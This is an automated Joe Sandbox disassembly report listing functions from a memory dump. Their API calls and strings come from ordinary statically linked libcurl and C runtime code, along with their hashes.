Function 6B8D90C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6B90ACC0: GetModuleHandleA.KERNEL32(kernel32,?,00000002,6B90AEAE), ref: 6B90ACCE

GetProcAddress.KERNEL32(00000000,InitSecurityInterfaceA), ref: 6B8D90FD

Strings

InitSecurityInterfaceA, xrefs: 6B8D90F7
secur32.dll, xrefs: 6B8D90D8
security.dll, xrefs: 6B8D90DD, 6B8D90E5

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 1646373207-3788156360
Opcode ID: 86255286bcadd49cf6413b56065073658582dad4eff22b4ebda3599852140932
Instruction ID: 10e41d6acbf9c7d825412fab77d5e32c65c1274586ba66a1df97808d847f1d38
Opcode Fuzzy Hash: 86255286bcadd49cf6413b56065073658582dad4eff22b4ebda3599852140932
Instruction Fuzzy Hash: 97F065B17447067AEE141B354C1B71632655751748F84C8F9A900E7283FF3CC9009B50

Function 6B92A96C Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a2c2af0b6c5a708a55941b935f228f38959015c6650e3d1b1322581b302a906
Instruction ID: 59c009c04e9add3514af58072c1ad88d0f2a7078d1945e3f8ed7ff4761df4039
Opcode Fuzzy Hash: 6a2c2af0b6c5a708a55941b935f228f38959015c6650e3d1b1322581b302a906
Instruction Fuzzy Hash: 274126B6E50754BFE3149F38CC02B9ABBB9EF89714F11856AE111DB385D379D9408B80

Function 6B934DB7 Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6B934E87
_free.LIBCMT ref: 6B934EB0
SetEndOfFile.KERNEL32(00000000,6B92D700,00000000,?,?,?,?,?,?,?,?,6B92D700,?,00000000), ref: 6B934EE2
GetLastError.KERNEL32(?,?,?,?,?,?,?,6B92D700,?,00000000,?,?,?,?,00000000,?), ref: 6B934EFE

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: cbd37b667953460e913cacf95aa202754b0450238898f11fc2d422506243a676
Instruction ID: 8f92095d3ae5e977ced30f3aef1c29c1d6acae26ac9f1232cf3b680ce2e72d52
Opcode Fuzzy Hash: cbd37b667953460e913cacf95aa202754b0450238898f11fc2d422506243a676
Instruction Fuzzy Hash: FC41E732D00625ABDB219FB5CC41B8E3BB9EF59328F260150F524A73A0E73EC9104B61

Function 6B92F53B Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6B9237F2,?,00000000,00000000,?,6B9284AA,6B928987,00000000,?,00000000), ref: 6B92F540
_free.LIBCMT ref: 6B92F59D
_free.LIBCMT ref: 6B92F5D3
SetLastError.KERNEL32(00000000,00000015,000000FF,?,6B9284AA,6B928987,00000000,?,00000000), ref: 6B92F5DE

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 5c81b0d392007bdb8623f5f53d87cd63a2ebd1bcbe08a8a685c1eb7b12bd8707
Instruction ID: c9bb4325c6bef49abc3e409c2b3a8ad7b9c1d88b7c3399d9971b57a45c20609c
Opcode Fuzzy Hash: 5c81b0d392007bdb8623f5f53d87cd63a2ebd1bcbe08a8a685c1eb7b12bd8707
Instruction Fuzzy Hash: DC117036E68A013BDA055A789C96F3A235E9BD677CB200274F13986198DF3DC8014150

Function 6B90E5D0 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(6B8FF03B,?,6B8D669E,6B8FF03B,?,?,?,?), ref: 6B90E5E5
__alldvrm.LIBCMT ref: 6B90E5FE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B90E627
GetTickCount.KERNEL32 ref: 6B90E642

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: CountCounterPerformanceQueryTickUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID:
API String ID: 1296068966-0
Opcode ID: 28518d982a97e1b54d33fd30608cef95aa40fdfb83dec46c129726430cdcf266
Instruction ID: a2d71a0f2adc0341da61985ced57829002fe857cea35690389eee46099d6f698
Opcode Fuzzy Hash: 28518d982a97e1b54d33fd30608cef95aa40fdfb83dec46c129726430cdcf266
Instruction Fuzzy Hash: D2119172A08208BFCB149FB8DD85A69BFE8EB4D304B1081BEB90DC7250E636D911DB40

Function 6B9385FF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,6B935102,00000000,00000001,00000000,00000000,?,6B92E891,?,6B9292EA,00000000), ref: 6B938616
GetLastError.KERNEL32(?,6B935102,00000000,00000001,00000000,00000000,?,6B92E891,?,6B9292EA,00000000,?,00000000,?,6B92EDE5,?), ref: 6B938622

Part of subcall function 6B9385E8: CloseHandle.KERNEL32(FFFFFFFE,6B938632,?,6B935102,00000000,00000001,00000000,00000000,?,6B92E891,?,6B9292EA,00000000,?,00000000), ref: 6B9385F8

___initconout.LIBCMT ref: 6B938632

Part of subcall function 6B9385AA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6B9385D9,6B9350EF,00000000,?,6B92E891,?,6B9292EA,00000000,?), ref: 6B9385BD

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,6B935102,00000000,00000001,00000000,00000000,?,6B92E891,?,6B9292EA,00000000,?), ref: 6B938647

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e09f8e5fa06413a3a761be5d7c9aa16be86abd3acb627247833438240891b43e
Instruction ID: 2ad77029e1fad6901a4eb409ca45c0f8462222b5f3dd59dc1a82d8f5777ed9e8
Opcode Fuzzy Hash: e09f8e5fa06413a3a761be5d7c9aa16be86abd3acb627247833438240891b43e
Instruction Fuzzy Hash: 4EF03037404564BFCF232FD5CC45A9E3F7AEF493A5B004060FA18C6120DB32D860AB91

Function 6B8DAE10 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 242COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8DAE35

Strings

Can't get the size of %s, xrefs: 6B8DAF14
Can't open %s for writing, xrefs: 6B8DAE9E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: Can't get the size of %s$Can't open %s for writing
API String ID: 601868998-3544860555
Opcode ID: 0de6093cef6a28ab54df3c6d4ccc49210984f4f3e90174a8b4f7e5718c679395
Instruction ID: 15d0c1c4678462ffc8aa767f2cbb90a674e03541e6a0070f24d64be9376e9f52
Opcode Fuzzy Hash: 0de6093cef6a28ab54df3c6d4ccc49210984f4f3e90174a8b4f7e5718c679395
Instruction Fuzzy Hash: 2C81E6B5E002088BDB14DFB8DC816EEB7B5EF58314F20497EE90A97340EB39AD558B51

Function 6B8E4190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

curl_url_set.LIBCURL(?,00000002,00000000,00000080), ref: 6B8E432A

Strings

Couldn't find host %s in the .netrc file; using defaults, xrefs: 6B8E42FD

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_url_set
String ID: Couldn't find host %s in the .netrc file; using defaults
API String ID: 1103260265-3983049644
Opcode ID: 1c01a5707d6ff33534a780ba7a696bc7d3feea04d9767878ebf0a9103e51c7c5
Instruction ID: ad08d1f7992dd6cec9cee4c36218efca2ff5c77c23cfd46231213220fa956418
Opcode Fuzzy Hash: 1c01a5707d6ff33534a780ba7a696bc7d3feea04d9767878ebf0a9103e51c7c5
Instruction Fuzzy Hash: F361F431A04245ABEF118F28D8057DDBBE0AF47315F0804E9EC6C9B292D37A9965CBB1

Function 6B8D6020 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(Set-Cookie:,00000000,0000000B,?,?,?,00000000), ref: 6B8D615B

Strings

none, xrefs: 6B8D6054, 6B8D605C
Set-Cookie:, xrefs: 6B8D6156

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_strnequal
String ID: Set-Cookie:$none
API String ID: 482932555-3629594122
Opcode ID: 2bdd073c98a27b3f11a727c5208a5e46616abfdefe73630a4920c0a304b7cab5
Instruction ID: db35789820e6d1efa2b55edbd2d48798ea639d590d736132a5a0a896713f296b
Opcode Fuzzy Hash: 2bdd073c98a27b3f11a727c5208a5e46616abfdefe73630a4920c0a304b7cab5
Instruction Fuzzy Hash: 8551297594839D6AEF014A385C4679A3BA55F53308F0408FAED45AB243EB7EC949C372

Function 6B8D1BE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000080,%ld%s,?,?), ref: 6B8D1C85
curl_msnprintf.LIBCURL(?,00000080,%ld%s,?,?), ref: 6B8D1D46

Strings

%ld%s, xrefs: 6B8D1C74, 6B8D1D35

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_msnprintf
String ID: %ld%s
API String ID: 1809024409-3503459407
Opcode ID: bc3edf61d235dbd4d3631eed6764a4a49dc2892f0257a5c8b44c2bd3e31185ea
Instruction ID: 65968abc335cc98a5025f104e8d67b849862c9e98f2a878c1cfbe2a124ebaf90
Opcode Fuzzy Hash: bc3edf61d235dbd4d3631eed6764a4a49dc2892f0257a5c8b44c2bd3e31185ea
Instruction Fuzzy Hash: 95512774904614ABD725DF34CC41BE6B7F8FF05304F0049AAE99D87241DB39AA45CB60

Function 6B8E8840 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

Part of subcall function 6B8E87E0: curl_msnprintf.LIBCURL(?,00000007,:%u,?,00000000,?,?,?,6B8E7CB2,?,?,?,00000106,?,00000000), ref: 6B8E8830

curl_msnprintf.LIBCURL(?,00000007,:%u,?,0000002A,?,?,?,?,?,00000000,00000000), ref: 6B8E88CF

Strings

:%u, xrefs: 6B8E88C7
Hostname in DNS cache was stale, zapped, xrefs: 6B8E8966

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_msnprintf
String ID: :%u$Hostname in DNS cache was stale, zapped
API String ID: 1809024409-2924501231
Opcode ID: 98b5160f0095908b681c0388d14312494be196a8b2a341e937ed726249113643
Instruction ID: e55072de20bd82e6af3c513beaa810ea887f8f1167507c41ca63042c0e0a75b5
Opcode Fuzzy Hash: 98b5160f0095908b681c0388d14312494be196a8b2a341e937ed726249113643
Instruction Fuzzy Hash: E9412335E0021DABCB18DF38CC41AEEB779EF46308F0046E9D95953201DB35AA56CFA1

Function 6B91D790 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(6B952F90,6B953058,%s%s%s%s,6B93C4B0,6B948024,?,6B948020), ref: 6B91D84F
_strncpy.LIBCMT ref: 6B91D8AF

Strings

%s%s%s%s, xrefs: 6B91D846

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _strncpycurl_msnprintf
String ID: %s%s%s%s
API String ID: 37059441-8588819
Opcode ID: 79a61b3e41befeab8c99d5f043d39b6d7db35ae77e52dbb63839e15371a4b097
Instruction ID: d652a57b2628074732b7d702bece78d1bac6bc5451209d0385452aa2c506002d
Opcode Fuzzy Hash: 79a61b3e41befeab8c99d5f043d39b6d7db35ae77e52dbb63839e15371a4b097
Instruction Fuzzy Hash: 0931C377B8C21D6BDB08CF689C91BAAB7A99F56284F1041FDEC09D7341D639DD0487A0

Function 6B8E4080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 6B90E5D0: QueryPerformanceCounter.KERNEL32(6B8FF03B,?,6B8D669E,6B8FF03B,?,?,?,?), ref: 6B90E5E5
Part of subcall function 6B90E5D0: __alldvrm.LIBCMT ref: 6B90E5FE
Part of subcall function 6B90E5D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B90E627

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8E40E3

Strings

Too old connection (%ld seconds), disconnect it, xrefs: 6B8E40FF
Connection %ld seems to be dead!, xrefs: 6B8E415B

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CounterPerformanceQuery__alldvrm
String ID: Connection %ld seems to be dead!$Too old connection (%ld seconds), disconnect it
API String ID: 3283211967-2324667105
Opcode ID: 0078b69b006eb42465e693d3b0dd3daa0d6ae98cf02f6c2a4ea9a19f8443144c
Instruction ID: b1cd85f1d7c524e4e2fb90b0e543928332fb16366510ec74599b63e62bb293d9
Opcode Fuzzy Hash: 0078b69b006eb42465e693d3b0dd3daa0d6ae98cf02f6c2a4ea9a19f8443144c
Instruction Fuzzy Hash: 05314071E042096BDB005E3C8C43B9A7764EFA732CF540654F82C672C2E779A4A583E1

Function 6B8FDB40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

curl_slist_append.LIBCURL(00000000,Content-Type: application/dns-message,0000013C,00000000,00000440,?,00000000,00000000,?,6B8E8617,00000000,00000000,?,00000000), ref: 6B8FDB87
curl_slist_free_all.LIBCURL(?,?,?,?,?,?,?,?,?,?), ref: 6B8FDC0D

Strings

Content-Type: application/dns-message, xrefs: 6B8FDB74

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_slist_appendcurl_slist_free_all
String ID: Content-Type: application/dns-message
API String ID: 2220803400-4173715026
Opcode ID: 98766c2aca1f01500c8e275308a9461cd4fe4c05639d837de7561fd136d96642
Instruction ID: 97504f55f87f67db0e7b3da6eda47b78c7d74dd0f51356cde298c664a310d652
Opcode Fuzzy Hash: 98766c2aca1f01500c8e275308a9461cd4fe4c05639d837de7561fd136d96642
Instruction Fuzzy Hash: A82105B2A40B04ABE7118F75EC41BE7B7EDFF05388F000819EA1E93251E33AA511CB90

Function 6B8ECB10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(?,?,6B8EC897,?,?,?,?,6B8ECC18,?,6B8EC897,?,?,6B8EC897,?,?,00000000), ref: 6B8ECB64
curl_strnequal.LIBCURL(HTTP/,?,00000005,?,?,?,?,6B8ECC18,?,6B8EC897,?,?,6B8EC897,?,?,00000000), ref: 6B8ECBA5

Strings

HTTP/, xrefs: 6B8ECBA0

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_strnequal
String ID: HTTP/
API String ID: 482932555-2417072641
Opcode ID: 1fc6d372776b66832d28b515e02f9090e615568907879f73dce297540bd6911a
Instruction ID: 4f84e696ef58ededa9acdc05de39aa677326e17ca49147ce7c4cabe99a0a9fb8
Opcode Fuzzy Hash: 1fc6d372776b66832d28b515e02f9090e615568907879f73dce297540bd6911a
Instruction Fuzzy Hash: 0B113B37F042145FCB014E1C9C406AA77E6EBC7354B0949B9EC59DB203D635EC464BE0

Function 6B8DC540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

curl_easy_strerror.LIBCURL(00000000), ref: 6B8DC579

Strings

Failure sending QUIT command: %s, xrefs: 6B8DC57F
QUIT, xrefs: 6B8DC561

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_easy_strerror
String ID: Failure sending QUIT command: %s$QUIT
API String ID: 1399792982-1162443993
Opcode ID: 2ac8d6d1b80450f85c81fca1c4e7c75c2c269634486deeb7e6da1b738ca27821
Instruction ID: 86cb37390e07f611bc9890738c9c43ca8f6694ca326ece1a0e760e50aafab255
Opcode Fuzzy Hash: 2ac8d6d1b80450f85c81fca1c4e7c75c2c269634486deeb7e6da1b738ca27821
Instruction Fuzzy Hash: 1221F135548B50AAE7119B74C806B86BBF8BF0630CF00096AE45D97152DBBDF055CFA1

Function 6B8DCA30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 6B8DCA6D
_strstr.LIBCMT ref: 6B8DCA84

Strings

;type=, xrefs: 6B8DCA65, 6B8DCA79

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _strstr
String ID: ;type=
API String ID: 2882301372-3507045495
Opcode ID: 02bcd200c3e7670c66d6a6a89d0672ad448ab23dc7f8109d9fe8ecac518ff21c
Instruction ID: 84a504961c900762ea8a339118b59a3a21352e3be18b7abf09bab65256f9d9b6
Opcode Fuzzy Hash: 02bcd200c3e7670c66d6a6a89d0672ad448ab23dc7f8109d9fe8ecac518ff21c
Instruction Fuzzy Hash: 4F1138B65443559ED720CF28D844781BFE4AB02368F04067BDC5D8F282C77AE9448BF1

Function 6B8F0780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000005,%c%03d,-00000041,?,00000000), ref: 6B8F07D2

Strings

%s %s, xrefs: 6B8F07ED
%c%03d, xrefs: 6B8F07CA

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_msnprintf
String ID: %c%03d$%s %s
API String ID: 1809024409-883683383
Opcode ID: 66330c2774ff32ce65df69676b1dd1c04a8a5ca91f68980ce30565f6f90a10e6
Instruction ID: 789d8811c692ced6fea5fea502288d5af5d3359aa3b595e6b434cf69ae8f2675
Opcode Fuzzy Hash: 66330c2774ff32ce65df69676b1dd1c04a8a5ca91f68980ce30565f6f90a10e6
Instruction Fuzzy Hash: B501F5B6A0411A7BD6099A34AC82FBBBB6EEF9535CF040015F90C57100EB79BA154EF2

Function 6B8D33D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

getsockopt.WS2_32(00004020,0000FFFF,00001001,00000000,00000004), ref: 6B8D343B
setsockopt.WS2_32(00004020,0000FFFF,00001001,00004020,00000004), ref: 6B8D3460

Strings

@, xrefs: 6B8D33DB

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

